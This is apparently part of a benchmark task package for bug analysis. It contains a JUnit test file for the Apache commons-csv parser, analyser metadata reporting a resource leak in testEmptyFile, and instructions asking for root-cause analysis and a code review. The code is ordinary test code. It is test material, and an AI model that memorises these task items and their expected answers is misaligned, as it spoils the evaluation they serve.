+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    @Ignore("CSV-107")
+    public void testBOM() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        final CSVParser parser = CSVParser.parse(url, null, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testBOMInputStream() throws IOException {
+        URL url = ClassLoader.getSystemClassLoader().getResource("CSVFileParser/bom.csv");
+        Reader reader = new InputStreamReader(new BOMInputStream(url.openStream()), "UTF-8");
+        final CSVParser parser = new CSVParser(reader, CSVFormat.EXCEL.withHeader());
+        try {
+            for (CSVRecord record : parser) {
+                final String string = record.get("Date");
+                Assert.assertNotNull(string);
+                //System.out.println("date: " + record.get("Date"));
+            }
+        } finally {
+            parser.close();
+        }
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test(expected = NoSuchElementException.class)
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        records.next();
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = CSVParser.parse(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = CSVParser.parse(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = CSVParser.parse("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = CSVParser.parse(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testGetRecordWithMultiLineValues() throws Exception {
+        final CSVParser parser = CSVParser.parse("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser(null, invalidFormat).close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+            // expected
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = CSVParser.parse(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        CSVRecord record;
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test // TODO this may lead to strange behavior, throw an exception if iterator() has already been called?
+    public void testMultipleIterators() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c" + CR + "d,e,f", CSVFormat.DEFAULT);
+
+        final Iterator<CSVRecord> itr1 = parser.iterator();
+        final Iterator<CSVRecord> itr2 = parser.iterator();
+
+        final CSVRecord first = itr1.next();
+        assertEquals("a", first.get(0));
+        assertEquals("b", first.get(1));
+        assertEquals("c", first.get(2));
+
+        final CSVRecord second = itr2.next();
+        assertEquals("d", second.get(0));
+        assertEquals("e", second.get(1));
+        assertEquals("f", second.get(2));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserNullReaderFormat() throws Exception {
+        new CSVParser(null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNewCSVParserReaderNullFormat() throws Exception {
+        new CSVParser(new StringReader(""), null);
+    }
+
+    @Test
+    public void testNoHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parse("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT);
+        Assert.assertNull(parser.getHeaderMap());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseFileNullFormat() throws Exception {
+        CSVParser.parse(new File(""), null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullFileFormat() throws Exception {
+        CSVParser.parse((File) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullStringFormat() throws Exception {
+        CSVParser.parse((String) null, CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseNullUrlCharsetFormat() throws Exception {
+        CSVParser.parse(null, Charset.defaultCharset(), CSVFormat.DEFAULT);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParserUrlNullCharsetFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), null, CSVFormat.DEFAULT);
+        parser.close();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseStringNullFormat() throws Exception {
+        CSVParser.parse("csv data", null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testParseUrlCharsetNullFormat() throws Exception {
+        final CSVParser parser = CSVParser.parse(new URL("http://commons.apache.org"), Charset.defaultCharset(), null);
+        parser.close();        
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeaderAuto() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("a"));
+            assertTrue(record.isMapped("b"));
+            assertTrue(record.isMapped("c"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVParser.parse(input, CSVFormat.DEFAULT)) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testSkipAutoHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testSkipSetHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("a", "b", "c").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parse("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `parse(...)` at line 286 is not released after line 287.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testEmptyFile()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testEmptyFile():void.33788f170b9aaf2c1a2650786d3c2e19
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testEmptyFile|RESOURCE_LEAK
+
+### Node Key:
+15891b12c6ce50257e480adc810587ae
+
+### Hash:
+d19da39953078266d6ecd9c33b82d3e0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6464/instruction.md b/inferredbugs-6464/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..794b7fa8cd2e70e0964ccc5df88958024152000b
--- /dev/null
+++ b/inferredbugs-6464/instruction.md
@@ -0,0 +1,920 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 119
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.io.input.BOMInputStream;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
